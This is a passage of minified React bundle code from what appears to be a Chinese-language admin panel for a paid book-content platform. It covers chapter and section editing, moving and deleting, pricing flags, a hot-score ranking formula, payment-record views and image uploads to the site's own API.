Ne=O.title.trim();e(st=>st.map(mt=>mt.partId===O.id?{...mt,partTitle:Ne}:mt)),L(null),er()}else ie.error("更新篇名失败: "+(me&&typeof me=="object"&&"error"in me?me.error:"未知错误"))}catch(Q){console.error(Q),ie.error("更新篇名失败")}finally{D(!1)}}},ps=M=>{const Q=M.chapters.length+1,me=`chapter-${M.id}-${Q}-${Date.now()}`;I({id:`${Q}.1`,title:"新章节",price:1,partId:M.id,chapterId:me,content:"",editionStandard:!0,editionPremium:!1,isFree:!1,isNew:!1,isPinned:!1,hotScore:0}),h(!0)},Os=(M,Q)=>{fe({part:M,chapter:Q,title:Q.title})},na=async()=>{var M;if((M=ne==null?void 0:ne.title)!=null&&M.trim()){$(!0);try{const Q=t.map(Ne=>({id:Ne.id,partId:Ne.partId||ne.part.id,partTitle:Ne.partId===ne.part.id?ne.part.title:Ne.partTitle||"",chapterId:Ne.chapterId||ne.chapter.id,chapterTitle:Ne.partId===ne.part.id&&Ne.chapterId===ne.chapter.id?ne.title.trim():Ne.chapterTitle||""})),me=await zt("/api/db/book",{action:"reorder",items:Q});if(me&&me.success!==!1){const Ne=ne.title.trim(),st=ne.part.id,mt=ne.chapter.id;e(Bt=>Bt.map(cn=>cn.partId===st&&cn.chapterId===mt?{...cn,chapterTitle:Ne}:cn)),fe(null),er()}else ie.error("保存失败: "+(me&&typeof me=="object"&&"error"in me?me.error:"未知错误"))}catch(Q){console.error(Q),ie.error("保存失败")}finally{$(!1)}}},Wl=async(M,Q)=>{const me=Q.sections.map(Ne=>Ne.id);if(me.length===0){ie.info("该章下无小节,无需删除");return}if(confirm(`确定要删除「第${M.chapters.indexOf(Q)+1}章 | ${Q.title}」吗?将删除共 ${me.length} 节,此操作不可恢复。`))try{for(const Ne of me)await Bs(`/api/db/book?id=${encodeURIComponent(Ne)}`);er()}catch(Ne){console.error(Ne),ie.error("删除失败")}},_i=async()=>{if(!V.trim()){ie.error("请输入篇名");return}ce(!0);try{const M=`part-new-${Date.now()}`,Q="chapter-1",me=`part-placeholder-${Date.now()}`,Ne=await zt("/api/db/book",{id:me,title:"占位节(可编辑)",price:0,content:"",partId:M,partTitle:V.trim(),chapterId:Q,chapterTitle:"第1章 | 待编辑",saveToFile:!1});Ne&&Ne.success!==!1?(ie.success(`篇「${V}」创建成功`),Z(!1),re(""),er()):ie.error("创建失败: "+(Ne&&typeof Ne=="object"&&"error"in Ne?Ne.error:"未知错误"))}catch(M){console.error(M),ie.error("创建失败")}finally{ce(!1)}},Oa=async()=>{if(H.length===0){ie.error("请先勾选要移动的章节");return}const M=Dn.find(me=>me.id===B),Q=M==null?void 0:M.chapters.find(me=>me.id===W);if(!M||!Q||!B||!W){ie.error("请选择目标篇和章");return}Y(!0);try{const me=()=>{const Bt=new Set(H),cn=t.map(Ln=>({id:Ln.id,partId:Ln.partId||"",partTitle:Ln.partTitle||"",chapterId:Ln.chapterId||"",chapterTitle:Ln.chapterTitle||""})),Fi=cn.filter(Ln=>Bt.has(Ln.id)).map(Ln=>({...Ln,partId:B,partTitle:M.title||B,chapterId:W,chapterTitle:Q.title||W})),ms=cn.filter(Ln=>!Bt.has(Ln.id));let Jr=ms.length;for(let Ln=ms.length-1;Ln>=0;Ln-=1){const Gl=ms[Ln];if(Gl.partId===B&&Gl.chapterId===W){Jr=Ln+1;break}}return[...ms.slice(0,Jr),...Fi,...ms.slice(Jr)]},Ne=async()=>{const Bt=me(),cn=await zt("/api/db/book",{action:"reorder",items:Bt});return cn&&cn.success!==!1?(ie.success(`已移动 ${H.length} 节到「${M.title}」-「${Q.title}」`),q(!1),oe([]),await er(),!0):!1},st={action:"move-sections",sectionIds:H,targetPartId:B,targetChapterId:W,targetPartTitle:M.title||B,targetChapterTitle:Q.title||W},mt=await zt("/api/db/book",st);if(mt&&mt.success!==!1)ie.success(`已移动 ${mt.count??H.length} 节到「${M.title}」-「${Q.title}」`),q(!1),oe([]),await er();else{const Bt=mt&&typeof mt=="object"&&"error"in mt?mt.error||"":"未知错误";if((Bt.includes("缺少 id")||Bt.includes("无效的 action"))&&await Ne())return;ie.error("移动失败: "+Bt)}}catch(me){console.error(me),ie.error("移动失败: "+(me instanceof Error?me.message:"网络或服务异常"))}finally{Y(!1)}},Ul=M=>{oe(Q=>Q.includes(M)?Q.filter(me=>me!==M):[...Q,M])},zi=async M=>{const Q=t.filter(me=>me.partId===M.id).map(me=>me.id);if(Q.length===0){ie.info("该篇下暂无小节可删除");return}if(confirm(`确定要删除「${M.title}」整篇吗?将删除共 ${Q.length} 节内容,此操作不可恢复。`))try{for(const me of Q)await Bs(`/api/db/book?id=${encodeURIComponent(me)}`);er()}catch(me){console.error(me),ie.error("删除失败")}},kd=async()=>{var M;if(N.trim()){E(!0);try{const Q=await De(`/api/search?q=${encodeURIComponent(N)}`);Q!=null&&Q.success&&((M=Q.data)!=null&&M.results)?k(Q.data.results):(k([]),Q&&!Q.success&&ie.error("搜索失败: "+Q.error))}catch(Q){console.error(Q),k([]),ie.error("搜索失败")}finally{E(!1)}}},$i=Dn.find(M=>M.id===T.partId),Nt=($i==null?void 0:$i.chapters)??[];return s.jsxs("div",{className:"p-8 w-full",children:[s.jsxs("div",{className:"flex justify-between items-center mb-8",children:[s.jsxs("div",{children:[s.jsx("h2",{className:"text-2xl font-bold text-white",children:"内容管理"}),s.jsxs("p",{className:"text-gray-400 mt-1",children:["共 ",Dn.length," 篇 · ",us," 节内容"]})]}),s.jsxs("div",{className:"flex gap-2",children:[s.jsxs(te,{onClick:()=>ln(!0),variant:"outline",className:"border-amber-500/50 text-amber-400 hover:bg-amber-500/10 bg-transparent",children:[s.jsx(Cu,{className:"w-4 h-4 mr-2"}),"排名算法"]}),s.jsxs(te,{onClick:()=>{const M=typeof window<"u"?`${window.location.origin}/api-doc`:"";M&&window.open(M,"_blank","noopener,noreferrer")},variant:"outline",className:"border-gray-600 text-gray-300 hover:bg-gray-700/50 bg-transparent",children:[s.jsx(Ss,{className:"w-4 h-4 mr-2"}),"API 接口"]})]})]}),s.jsx(Dt,{open:u,onOpenChange:h,children:s.jsxs(At,{className:"bg-[#0f2137] border-gray-700 text-white inset-0 translate-x-0 translate-y-0 w-screen h-screen max-w-none max-h-none rounded-none flex flex-col p-0 gap-0",showCloseButton:!0,children:[s.jsx(Lt,{className:"shrink-0 px-6 pt-6 pb-2",children:s.jsxs(_t,{className:"text-white flex items-center gap-2",children:[s.jsx(hn,{className:"w-5 h-5 text-[#38bdac]"}),"新建章节"]})}),s.jsxs("div",{className:"flex-1 overflow-y-auto min-h-0 px-6 space-y-4 py-4",children:[s.jsxs("div",{className:"grid grid-cols-3 gap-4",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"章节ID *"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"如: 9.15",value:T.id,onChange:M=>I({...T,id:M.target.value})})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"价格 (元)"}),s.jsx(se,{type:"number",className:"bg-[#0a1628] border-gray-700 text-white",value:T.isFree?0:T.price,onChange:M=>I({...T,price:Number(M.target.value),isFree:Number(M.target.value)===0}),disabled:T.isFree})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"免费"}),s.jsx("div",{className:"flex items-center h-10",children:s.jsxs("label",{className:"flex items-center cursor-pointer",children:[s.jsx("input",{type:"checkbox",checked:T.isFree,onChange:M=>I({...T,isFree:M.target.checked,price:M.target.checked?0:1}),className:"w-5 h-5 rounded border-gray-600 bg-[#0a1628] text-[#38bdac] focus:ring-[#38bdac]"}),s.jsx("span",{className:"ml-2 text-gray-400 text-sm",children:"设为免费"})]})})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"最新新增"}),s.jsx("div",{className:"flex items-center h-10",children:s.jsxs("label",{className:"flex items-center cursor-pointer",children:[s.jsx("input",{type:"checkbox",checked:T.isNew,onChange:M=>I({...T,isNew:M.target.checked}),className:"w-5 h-5 rounded border-gray-600 bg-[#0a1628] text-[#38bdac] focus:ring-[#38bdac]"}),s.jsx("span",{className:"ml-2 text-gray-400 text-sm",children:"标记 NEW"})]})})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"小程序直推"}),s.jsx("div",{className:"flex items-center h-10",children:s.jsxs("label",{className:"flex items-center cursor-pointer",children:[s.jsx("input",{type:"checkbox",checked:T.isPinned,onChange:M=>I({...T,isPinned:M.target.checked}),className:"w-5 h-5 rounded border-gray-600 bg-[#0a1628] text-amber-400 focus:ring-amber-400"}),s.jsx("span",{className:"ml-2 text-gray-400 text-sm",children:"强制置顶到小程序首页"})]})})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"文章类型"}),s.jsxs("div",{className:"flex items-center gap-4 h-10",children:[s.jsxs("label",{className:"flex items-center cursor-pointer",children:[s.jsx("input",{type:"radio",name:"new-edition-type",checked:T.editionPremium!==!0,onChange:()=>I({...T,editionStandard:!0,editionPremium:!1}),className:"w-4 h-4 border-gray-600 bg-[#0a1628] text-[#38bdac] focus:ring-[#38bdac]"}),s.jsx("span",{className:"ml-2 text-gray-400 text-sm",children:"普通版"})]}),s.jsxs("label",{className:"flex items-center cursor-pointer",children:[s.jsx("input",{type:"radio",name:"new-edition-type",checked:T.editionPremium===!0,onChange:()=>I({...T,editionStandard:!1,editionPremium:!0}),className:"w-4 h-4 border-gray-600 bg-[#0a1628] text-[#38bdac] focus:ring-[#38bdac]"}),s.jsx("span",{className:"ml-2 text-gray-400 text-sm",children:"增值版"})]})]})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"热度分"}),s.jsx(se,{type:"number",step:"0.1",min:"0",className:"bg-[#0a1628] border-gray-700 text-white",value:T.hotScore??0,onChange:M=>I({...T,hotScore:Math.max(0,parseFloat(M.target.value)||0)})})]})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"章节标题 *"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"输入章节标题",value:T.title,onChange:M=>I({...T,title:M.target.value})})]}),s.jsxs("div",{className:"grid grid-cols-2 gap-4",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"所属篇"}),s.jsxs(hl,{value:T.partId,onValueChange:M=>{var me;const Q=Dn.find(Ne=>Ne.id===M);I({...T,partId:M,chapterId:((me=Q==null?void 0:Q.chapters[0])==null?void 0:me.id)??"chapter-1"})},children:[s.jsx(no,{className:"bg-[#0a1628] border-gray-700 text-white",children:s.jsx(fl,{})}),s.jsxs(ro,{className:"bg-[#0f2137] border-gray-700",children:[Dn.map(M=>s.jsx(_r,{value:M.id,className:"text-white hover:bg-[#38bdac]/20 focus:bg-[#38bdac]/20",children:M.title},M.id)),Dn.length===0&&s.jsx(_r,{value:"part-1",className:"text-white hover:bg-[#38bdac]/20 focus:bg-[#38bdac]/20",children:"默认篇"})]})]})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"所属章"}),s.jsxs(hl,{value:T.chapterId,onValueChange:M=>I({...T,chapterId:M}),children:[s.jsx(no,{className:"bg-[#0a1628] border-gray-700 text-white",children:s.jsx(fl,{})}),s.jsxs(ro,{className:"bg-[#0f2137] border-gray-700",children:[Nt.map(M=>s.jsx(_r,{value:M.id,className:"text-white hover:bg-[#38bdac]/20 focus:bg-[#38bdac]/20",children:M.title},M.id)),Nt.length===0&&s.jsx(_r,{value:"chapter-1",className:"text-white hover:bg-[#38bdac]/20 focus:bg-[#38bdac]/20",children:"默认章"})]})]})]})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"内容(富文本编辑器,支持 @链接AI人物 和 #链接标签)"}),s.jsx(Ex,{content:T.content||"",onChange:M=>I({...T,content:M}),onImageUpload:async M=>{var st;const Q=new FormData;Q.append("file",M),Q.append("folder","book-images");const Ne=await(await fetch(go("/api/upload"),{method:"POST",body:Q,headers:{Authorization:`Bearer ${localStorage.getItem("admin_token")||""}`}})).json();return((st=Ne==null?void 0:Ne.data)==null?void 0:st.url)||(Ne==null?void 0:Ne.url)||""},persons:Wr,linkTags:pe,placeholder:"开始编辑内容... 输入 @ 可链接AI人物,工具栏可插入 #链接标签"})]})]}),s.jsxs(on,{className:"shrink-0 px-6 py-4 border-t border-gray-700/50",children:[s.jsx(te,{variant:"outline",onClick:()=>h(!1),className:"border-gray-600 text-gray-300 hover:bg-gray-700/50 bg-transparent",children:"取消"}),s.jsx(te,{onClick:gr,disabled:g||!T.id||!T.title,className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:g?s.jsxs(s.Fragment,{children:[s.jsx(qe,{className:"w-4 h-4 mr-2 animate-spin"}),"创建中..."]}):s.jsxs(s.Fragment,{children:[s.jsx(hn,{className:"w-4 h-4 mr-2"}),"创建章节"]})})]})]})}),s.jsx(Dt,{open:!!O,onOpenChange:M=>!M&&L(null),children:s.jsxs(At,{className:"bg-[#0f2137] border-gray-700 text-white max-w-md",showCloseButton:!0,children:[s.jsx(Lt,{children:s.jsxs(_t,{className:"text-white flex items-center gap-2",children:[s.jsx(Wt,{className:"w-5 h-5 text-[#38bdac]"}),"编辑篇名"]})}),O&&s.jsx("div",{className:"space-y-4 py-4",children:s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"篇名"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",value:O.title,onChange:M=>L({...O,title:M.target.value}),placeholder:"输入篇名"})]})}),s.jsxs(on,{children:[s.jsx(te,{variant:"outline",onClick:()=>L(null),className:"border-gray-600 text-gray-300 hover:bg-gray-700/50 bg-transparent",children:"取消"}),s.jsx(te,{onClick:Un,disabled:R||!((Kl=O==null?void 0:O.title)!=null&&Kl.trim()),className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:R?s.jsxs(s.Fragment,{children:[s.jsx(qe,{className:"w-4 h-4 mr-2 animate-spin"}),"保存中..."]}):s.jsxs(s.Fragment,{children:[s.jsx(bn,{className:"w-4 h-4 mr-2"}),"保存"]})})]})]})}),s.jsx(Dt,{open:!!ne,onOpenChange:M=>!M&&fe(null),children:s.jsxs(At,{className:"bg-[#0f2137] border-gray-700 text-white max-w-md",showCloseButton:!0,children:[s.jsx(Lt,{children:s.jsxs(_t,{className:"text-white flex items-center gap-2",children:[s.jsx(Wt,{className:"w-5 h-5 text-[#38bdac]"}),"编辑章节名称"]})}),ne&&s.jsx("div",{className:"space-y-4 py-4",children:s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"章节名称(如:第8章|底层结构)"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",value:ne.title,onChange:M=>fe({...ne,title:M.target.value}),placeholder:"输入章节名称"})]})}),s.jsxs(on,{children:[s.jsx(te,{variant:"outline",onClick:()=>fe(null),className:"border-gray-600 text-gray-300 hover:bg-gray-700/50 bg-transparent",children:"取消"}),s.jsx(te,{onClick:na,disabled:xe||!((ql=ne==null?void 0:ne.title)!=null&&ql.trim()),className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:xe?s.jsxs(s.Fragment,{children:[s.jsx(qe,{className:"w-4 h-4 mr-2 animate-spin"}),"保存中..."]}):s.jsxs(s.Fragment,{children:[s.jsx(bn,{className:"w-4 h-4 mr-2"}),"保存"]})})]})]})}),s.jsx(Dt,{open:P,onOpenChange:M=>{var Q;if(q(M),M&&Dn.length>0){const me=Dn[0];_(me.id),le(((Q=me.chapters[0])==null?void 0:Q.id)??"")}},children:s.jsxs(At,{className:"bg-[#0f2137] border-gray-700 text-white max-w-md",showCloseButton:!0,children:[s.jsx(Lt,{children:s.jsx(_t,{className:"text-white",children:"批量移动至指定目录"})}),s.jsxs("div",{className:"space-y-4 py-4",children:[s.jsxs("p",{className:"text-gray-400 text-sm",children:["已选 ",s.jsx("span",{className:"text-[#38bdac] font-medium",children:H.length})," 节,请选择目标篇与章。"]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"目标篇"}),s.jsxs(hl,{value:B,onValueChange:M=>{var me;_(M);const Q=Dn.find(Ne=>Ne.id===M);le(((me=Q==null?void 0:Q.chapters[0])==null?void 0:me.id)??"")},children:[s.jsx(no,{className:"bg-[#0a1628] border-gray-700 text-white",children:s.jsx(fl,{placeholder:"选择篇"})}),s.jsx(ro,{className:"bg-[#0f2137] border-gray-700",children:Dn.map(M=>s.jsx(_r,{value:M.id,className:"text-white hover:bg-[#38bdac]/20 focus:bg-[#38bdac]/20",children:M.title},M.id))})]})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"目标章"}),s.jsxs(hl,{value:W,onValueChange:le,children:[s.jsx(no,{className:"bg-[#0a1628] border-gray-700 text-white",children:s.jsx(fl,{placeholder:"选择章"})}),s.jsx(ro,{className:"bg-[#0f2137] border-gray-700",children:(((Oo=Dn.find(M=>M.id===B))==null?void 0:Oo.chapters)??[]).map(M=>s.jsx(_r,{value:M.id,className:"text-white hover:bg-[#38bdac]/20 focus:bg-[#38bdac]/20",children:M.title},M.id))})]})]})]}),s.jsxs(on,{children:[s.jsx(te,{variant:"outline",onClick:()=>q(!1),className:"border-gray-600 text-gray-300 hover:bg-gray-700/50 bg-transparent",children:"取消"}),s.jsx(te,{onClick:Oa,disabled:J||H.length===0,className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:J?s.jsxs(s.Fragment,{children:[s.jsx(qe,{className:"w-4 h-4 mr-2 animate-spin"}),"移动中..."]}):"确认移动"})]})]})}),s.jsx(Dt,{open:!!ye,onOpenChange:M=>!M&&Re(null),children:s.jsxs(At,{className:"bg-[#0f2137] border-gray-700 text-white max-w-3xl max-h-[85vh] overflow-hidden flex flex-col",showCloseButton:!0,children:[s.jsx(Lt,{children:s.jsxs(_t,{className:"text-white",children:["付款记录 — ",(ye==null?void 0:ye.section.title)??""]})}),s.jsx("div",{className:"flex-1 overflow-y-auto py-2",children:Le?s.jsxs("div",{className:"flex items-center justify-center py-8",children:[s.jsx(qe,{className:"w-6 h-6 text-[#38bdac] animate-spin"}),s.jsx("span",{className:"ml-2 text-gray-400",children:"加载中..."})]}):ye&&ye.orders.length===0?s.jsx("p",{className:"text-gray-500 text-center py-6",children:"暂无付款记录"}):ye?s.jsxs("table",{className:"w-full text-sm border-collapse",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"border-b border-gray-700 text-left text-gray-400",children:[s.jsx("th",{className:"py-2 pr-2",children:"订单号"}),s.jsx("th",{className:"py-2 pr-2",children:"用户ID"}),s.jsx("th",{className:"py-2 pr-2",children:"金额"}),s.jsx("th",{className:"py-2 pr-2",children:"状态"}),s.jsx("th",{className:"py-2 pr-2",children:"支付时间"})]})}),s.jsx("tbody",{children:ye.orders.map(M=>s.jsxs("tr",{className:"border-b border-gray-700/50",children:[s.jsx("td",{className:"py-2 pr-2",children:s.jsx("button",{className:"text-blue-400 hover:text-blue-300 hover:underline text-left truncate max-w-[180px] block",title:`查看订单 ${M.orderSn}`,onClick:()=>window.open(`/orders?search=${M.orderSn??M.id??""}`,"_blank"),children:M.orderSn?M.orderSn.length>16?M.orderSn.slice(0,8)+"..."+M.orderSn.slice(-6):M.orderSn:"-"})}),s.jsx("td",{className:"py-2 pr-2",children:s.jsx("button",{className:"text-[#38bdac] hover:text-[#2da396] hover:underline text-left truncate max-w-[140px] block",title:`查看用户 ${M.userId??M.openId??""}`,onClick:()=>window.open(`/users?search=${M.userId??M.openId??""}`,"_blank"),children:(()=>{const Q=M.userId??M.openId??"-";return Q.length>12?Q.slice(0,6)+"..."+Q.slice(-4):Q})()})}),s.jsxs("td",{className:"py-2 pr-2 text-gray-300",children:["¥",M.amount??0]}),s.jsx("td",{className:"py-2 pr-2 text-gray-300",children:M.status??"-"}),s.jsx("td",{className:"py-2 pr-2 text-gray-500",children:M.payTime??M.createdAt??"-"})]},M.id??M.orderSn??""))})]}):null})]})}),s.jsx(Dt,{open:Tt,onOpenChange:ln,children:s.jsxs(At,{className:"bg-[#0f2137] border-gray-700 text-white max-w-md",showCloseButton:!0,children:[s.jsx(Lt,{children:s.jsxs(_t,{className:"text-white flex items-center gap-2",children:[s.jsx(Cu,{className:"w-5 h-5 text-amber-400"}),"文章排名算法"]})}),s.jsxs("div",{className:"space-y-4 py-2",children:[s.jsx("p",{className:"text-sm text-gray-400",children:"热度积分 = 阅读权重×阅读排名分 + 新度权重×新度排名分 + 付款权重×付款排名分(三权重之和须为 1)"}),In?s.jsx("p",{className:"text-gray-500",children:"加载中..."}):s.jsxs(s.Fragment,{children:[s.jsxs("div",{className:"grid grid-cols-3 gap-3",children:[s.jsxs("div",{className:"space-y-1",children:[s.jsx(X,{className:"text-gray-400 text-xs",children:"阅读权重"}),s.jsx(se,{type:"number",step:"0.1",min:"0",max:"1",className:"bg-[#0a1628] border-gray-700 text-white",value:yt.readWeight,onChange:M=>nn(Q=>({...Q,readWeight:Math.max(0,Math.min(1,parseFloat(M.target.value)||0))}))})]}),s.jsxs("div",{className:"space-y-1",children:[s.jsx(X,{className:"text-gray-400 text-xs",children:"新度权重"}),s.jsx(se,{type:"number",step:"0.1",min:"0",max:"1",className:"bg-[#0a1628] border-gray-700 text-white",value:yt.recencyWeight,onChange:M=>nn(Q=>({...Q,recencyWeight:Math.max(0,Math.min(1,parseFloat(M.target.value)||0))}))})]}),s.jsxs("div",{className:"space-y-1",children:[s.jsx(X,{className:"text-gray-400 text-xs",children:"付款权重"}),s.jsx(se,{type:"number",step:"0.1",min:"0",max:"1",className:"bg-[#0a1628] border-gray-700 text-white",value:yt.payWeight,onChange:M=>nn(Q=>({...Q,payWeight:Math.max(0,Math.min(1,parseFloat(M.target.value)||0))}))})]})]}),s.jsxs("p",{className:"text-xs text-gray-500",children:["当前之和: ",(yt.readWeight+yt.recencyWeight+yt.payWeight).toFixed(1)]}),s.jsxs("ul",{className:"list-disc list-inside space-y-1 text-xs text-gray-400",children:[s.jsx("li",{children:"阅读量前 20 名:第1名=20分、第2名=19分...第20名=1分"}),s.jsx("li",{children:"最近更新前 30 篇:第1名=30分、第2名=29分...第30名=1分"}),s.jsx("li",{children:"付款数前 20 名:第1名=20分、第2名=19分...第20名=1分"}),s.jsx("li",{children:"热度分可在编辑章节中手动覆盖"})]}),s.jsx(te,{onClick:Ro,disabled:Yt||Math.abs(yt.readWeight+yt.recencyWeight+yt.payWeight-1)>.001,className:"w-full bg-amber-500 hover:bg-amber-600 text-white",children:Yt?"保存中...":"保存权重"})]})]})]})}),s.jsx(Dt,{open:z,onOpenChange:Z,children:s.jsxs(At,{className:"bg-[#0f2137] border-gray-700 text-white max-w-md",showCloseButton:!0,children:[s.jsx(Lt,{children:s.jsxs(_t,{className:"text-white flex items-center gap-2",children:[s.jsx(hn,{className:"w-5 h-5 text-amber-400"}),"新建篇"]})}),s.jsx("div",{className:"space-y-4 py-4",children:s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"篇名(如:第六篇|真实的社会)"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",value:V,onChange:M=>re(M.target.value),placeholder:"输入篇名"})]})}),s.jsxs(on,{children:[s.jsx(te,{variant:"outline",onClick:()=>{Z(!1),re("")},className:"border-gray-600 text-gray-300 hover:bg-gray-700/50 bg-transparent",children:"取消"}),s.jsx(te,{onClick:_i,disabled:ue||!V.trim(),className:"bg-amber-500 hover:bg-amber-600 text-white",children:ue?s.jsxs(s.Fragment,{children:[s.jsx(qe,{className:"w-4 h-4 mr-2 animate-spin"}),"创建中..."]}):s.jsxs(s.Fragment,{children:[s.jsx(hn,{className:"w-4 h-4 mr-2"}),"创建篇"]})})]})]})}),s.jsx(Dt,{open:!!o,onOpenChange:()=>c(null),children:s.jsxs(At,{className:"bg-[#0f2137] border-gray-700 text-white inset-0 translate-x-0 translate-y-0 w-screen h-screen max-w-none max-h-none rounded-none flex flex-col p-0 gap-0",showCloseButton:!0,children:[s.jsx(Lt,{className:"shrink-0 px-6 pt-6 pb-2",children:s.jsxs(_t,{className:"text-white flex items-center gap-2",children:[s.jsx(Wt,{className:"w-5 h-5 text-[#38bdac]"}),"编辑章节"]})}),o&&s.jsxs("div",{className:"flex-1 overflow-y-auto min-h-0 px-6 space-y-4 py-4",children:[s.jsxs("div",{className:"grid grid-cols-3 gap-4",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"章节ID"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",value:o.id,onChange:M=>c({...o,id:M.target.value}),placeholder:"如: 9.15"})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"价格 (元)"}),s.jsx(se,{type:"number",className:"bg-[#0a1628] border-gray-700 text-white",value:o.isFree?0:o.price,onChange:M=>c({...o,price:Number(M.target.value),isFree:Number(M.target.value)===0}),disabled:o.isFree})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"免费"}),s.jsx("div",{className:"flex items-center h-10",children:s.jsxs("label",{className:"flex items-center cursor-pointer",children:[s.jsx("input",{type:"checkbox",checked:o.isFree||o.price===0,onChange:M=>c({...o,isFree:M.target.checked,price:M.target.checked?0:1}),className:"w-5 h-5 rounded border-gray-600 bg-[#0a1628] text-[#38bdac] focus:ring-[#38bdac]"}),s.jsx("span",{className:"ml-2 text-gray-400 text-sm",children:"设为免费"})]})})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"最新新增"}),s.jsx("div",{className:"flex items-center h-10",children:s.jsxs("label",{className:"flex items-center cursor-pointer",children:[s.jsx("input",{type:"checkbox",checked:o.isNew??!1,onChange:M=>c({...o,isNew:M.target.checked}),className:"w-5 h-5 rounded border-gray-600 bg-[#0a1628] text-[#38bdac] focus:ring-[#38bdac]"}),s.jsx("span",{className:"ml-2 text-gray-400 text-sm",children:"标记 NEW"})]})})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"小程序直推"}),s.jsx("div",{className:"flex items-center h-10",children:s.jsxs("label",{className:"flex items-center cursor-pointer",children:[s.jsx("input",{type:"checkbox",checked:o.isPinned??!1,onChange:M=>c({...o,isPinned:M.target.checked}),className:"w-5 h-5 rounded border-gray-600 bg-[#0a1628] text-amber-400 focus:ring-amber-400"}),s.jsx("span",{className:"ml-2 text-gray-400 text-sm",children:"强制置顶到小程序首页"})]})})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"文章类型"}),s.jsxs("div",{className:"flex items-center gap-4 h-10",children:[s.jsxs("label",{className:"flex items-center cursor-pointer",children:[s.jsx("input",{type:"radio",name:"edition-type",checked:o.editionPremium!==!0,onChange:()=>c({...o,editionStandard:!0,editionPremium:!1}),className:"w-4 h-4 border-gray-600 bg-[#0a1628] text-[#38bdac] focus:ring-[#38bdac]"}),s.jsx("span",{className:"ml-2 text-gray-400 text-sm",children:"普通版"})]}),s.jsxs("label",{className:"flex items-center cursor-pointer",children:[s.jsx("input",{type:"radio",name:"edition-type",checked:o.editionPremium===!0,onChange:()=>c({...o,editionStandard:!1,editionPremium:!0}),className:"w-4 h-4 border-gray-600 bg-[#0a1628] text-[#38bdac] focus:ring-[#38bdac]"}),s.jsx("span",{className:"ml-2 text-gray-400 text-sm",children:"增值版"})]})]})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"热度分"}),s.jsx(se,{type:"number",step:"0.1",min:"0",className:"bg-[#0a1628] border-gray-700 text-white",value:o.hotScore??0,onChange:M=>c({...o,hotScore:Math.max(0,parseFloat(M.target.value)||0)})})]})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"章节标题"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",value:o.title,onChange:M=>c({...o,title:M.target.value})})]}),o.filePath&&s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"文件路径"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-gray-400 text-sm",value:o.filePath,disabled:!0})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"内容(富文本编辑器,支持 @链接AI人物 和 #链接标签)"}),f?s.jsxs("div",{className:"bg-[#0a1628] border border-gray-700 rounded-md min-h-[400px] flex items-center justify-center",children:[s.jsx(qe,{className:"w-6 h-6 text-[#38bdac] animate-spin"}),s.jsx("span",{className:"ml-2 text-gray-400",children:"加载中..."})]}):s.jsx(Ex,{ref:ds,content:o.content||"",onChange:M=>c({...o,content:M}),onImageUpload:async M=>{var st;const Q=new FormData;Q.append("file",M),Q.append("folder","book-images");const Ne=await(await fetch(go("/api/upload"),{method:"POST",body:Q,headers:{Authorization:`Bearer ${localStorage.getItem("admin_token")||""}`}})).json();return((st=Ne==null?void 0:Ne.data)==null?void 0:st.url)||(Ne==null?void 0:Ne.url)||""},persons:Wr,linkTags:pe,placeholder:"开始编辑内容... 输入 @ 可链接AI人物,工具栏可插入 #链接标签"})]})]}),s.jsxs(on,{className:"shrink-0 px-6 py-4 border-t border-gray-700/50",children:[o&&s.jsxs(te,{variant:"outline",onClick:()=>Ve({id:o.id,title:o.title,price:o.price}),className:"border-gray-600 text-gray-300 hover:bg-gray-700/50 bg-transparent mr-auto",children:[s.jsx(Br,{className:"w-4 